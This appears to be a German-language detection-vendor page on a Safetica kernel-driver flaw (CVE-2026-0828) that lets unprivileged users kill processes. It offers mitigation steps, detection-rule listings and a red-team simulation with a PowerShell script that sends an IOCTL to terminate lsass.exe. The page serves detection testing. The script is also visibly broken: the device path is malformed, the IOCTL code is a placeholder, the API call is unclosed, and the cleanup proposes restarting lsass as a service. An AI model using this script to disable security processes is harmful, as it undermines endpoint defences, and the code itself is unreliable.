Safetica enthält eine Kernel-Treiber-Schwachstelle
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein Fehler im Kernel-Treiber Safetica’s ProcessMonitorDriver.sys ermöglicht es einem unprivilegierten Benutzer, eine IOCTL-Schnittstelle zu missbrauchen, um beliebige Systemprozesse zu beenden. Dies kann zu Denial-of-Service und zur Störung von Sicherheitswerkzeugen auf betroffenen Endpunkten führen. Das Problem kann ausgenutzt werden, um EDR-Agenten und andere kritische Dienste abzuschalten, wodurch die Abwehr schnell reduziert wird. Derzeit ist kein Patch vom Hersteller verfügbar.
Untersuchung
Der Bericht dokumentiert CVE-2026-0828 im ProcessMonitorDriver.sys über verschiedene Versionen des Safetica DLP-Clients. Er zeigt, dass schwache Eingabevalidierung die Beendigung von Prozessen mit erhöhten Treiberrechten über manipulierte IOCTL-Aufrufe ermöglicht. Die Auswirkungen auf die Sicherheitsüberwachung von Endpunkten werden hervorgehoben.
Minderung
Überwachen Sie verdächtige IOCTL-Aufrufe an den Treiber, verlassen Sie sich auf EDR oder Host-Telemetrie und beschränken Sie den Treiberzugriff mit Windows-Gruppenrichtlinie, WDAC oder AppLocker. Bis ein Fix verfügbar ist, verhindern Sie das Interagieren von nicht vertrauenswürdigen Binärdateien mit ProcessMonitorDriver.sys.
Antwort
Erkennen Sie anormale IOCTL-Aktivitäten, die sich gegen ProcessMonitorDriver.sys richten, isolieren Sie betroffene Systeme und wenden Sie Richtlinienkontrollen an, um den Treiberzugriff zu verweigern. Erhöhen Sie die Protokollierung, alarmieren Sie bei unprivilegierten Interaktionen und erwägen Sie, den Treiber als temporäre Lösung zu deaktivieren.
Angriffsablauf
Wir aktualisieren diesen Teil noch. Registrieren Sie sich, um benachrichtigt zu werden
Benachrichtigen Sie michErkennungen
Verdächtige ProcessMonitor-Treiberinstallation (über System)
Ansehen
IOCs (DestinationIP) zu erkennen: Safetica enthält eine Kernel-Treibersicherheitslücke
Ansehen
IOCs (E-Mails) zu erkennen: Safetica enthält eine Kernel-Treibersicherheitslücke
Ansehen
IOCs (SourceIP) zu erkennen: Safetica enthält eine Kernel-Treibersicherheitslücke
Ansehen
Missbrauch der Safetica ProcessMonitorDriver.sys IOCTL-Sicherheitslücke erkennen [Windows Sysmon]
Ansehen
Simulationsexecution
Voraussetzung: Der Telemetrie- & Grundlinien-Pre‑Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Red-Team-Operator beabsichtigt, die verwundbareProcessMonitorDriver.sys-Treiber zu missbrauchen, um einen beliebigen hochprivilegierten Prozess zu beenden (lsass.exe). Sie erreichen dies, indem sie eine bösartige IOCTL-Nutzlast erstellen, die den Treiber anweist, das Handle der Ziel-PID zu schließen, wodurch der Ausführungsfluss gekapert (T1574) und typische Abwehrmechanismen (T1211) umgangen werden. Die Schritte sind:- Ermitteln Sie die PID von
lsass.exe. - Öffnen Sie ein Handle zum verwundbaren Treiber (
.ProcessMonitorDriver). - Erstellen Sie einen IOCTL-Puffer mit der Ziel-PID und einem Steuerbefehl, der die Prozessbeendigung auslöst.
- Führen Sie
DeviceIoControlmit einem bösartigen Steuerungscode aus (0xdeadbeef). - Schließen Sie das Treiberhandle.
- Ermitteln Sie die PID von
-
Regressionstestskript:
# Exploit-Simulation für ProcessMonitorDriver.sys (CVE‑2026‑0828) # ------------------------------------------------------------- # Dieses Skript sendet ein bösartiges IOCTL an den verwundbaren Treiber, um # den LSASS-Prozess zu beenden, wodurch das Sysmon-EventID 10 # erzeugt wird, das die Erkennungsregel überwacht. # 1. Lokalisieren Sie die LSASS-PID $targetProcess = Get-Process -Name lsass -ErrorAction Stop $targetPid = $targetProcess.Id Write-Host "Ziel PID (lsass): $targetPid" # 2. Öffnen Sie ein Handle zum Treiber $driverPath = ".ProcessMonitorDriver" $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None') $handle = $file.SafeFileHandle # 3. Erstellen Sie den bösartigen IOCTL-Puffer (PID + Dummy-Daten) $bufferSize = 8 $buffer = New-Object byte[] $bufferSize [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0) [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # Füllung # 4. Definieren Sie den bösartigen IOCTL-Code (Beispiel: 0xdeadbeef) $ioctlCode = 0xdeadbeef # 5. Führen Sie DeviceIoControl über P/Invoke aus $signature = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, int nInBufferSize, byte[] lpOutBuffer, int nOutBufferSize, out int lpBytesReturned, IntPtr lpOverlapped); } "@ Add-Type $signature $bytesReturned = 0 $outBuffer = New-Object byte[] 0 $result = [NativeMethods]::DeviceIoControl( $handle, $ioctlCode, $buffer, $buffer.Length, $outBuffer, 0, [ref]$bytesReturned, if ($result) { Write-Host "IOCTL erfolgreich gesendet – LSASS-Beendigung kann erfolgt sein." } else { $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Error "DeviceIoControl fehlgeschlagen (Fehler $err)." } # 6. Bereinigung $file.Close() -
Bereinigungskommandos:
# Entfernen Sie eventuell verbleibende Treiberhandles (Best-Effort) # Stellen Sie sicher, dass LSASS neu gestartet wird, wenn es beendet wurde (für ein sicheres Labor) if (Get-Process -Name lsass -ErrorAction SilentlyContinue) { Write-Host "LSASS läuft noch – keine Bereinigung notwendig." } else { Write-Host "LSASS wird neu gestartet (erfordert Administratorrechte)…" # Auf einem Testgerät können Sie einen Neustart oder ein Dienst-Neustart-Cmdlet verwenden # Restart-Service -Name "lsass" -Force }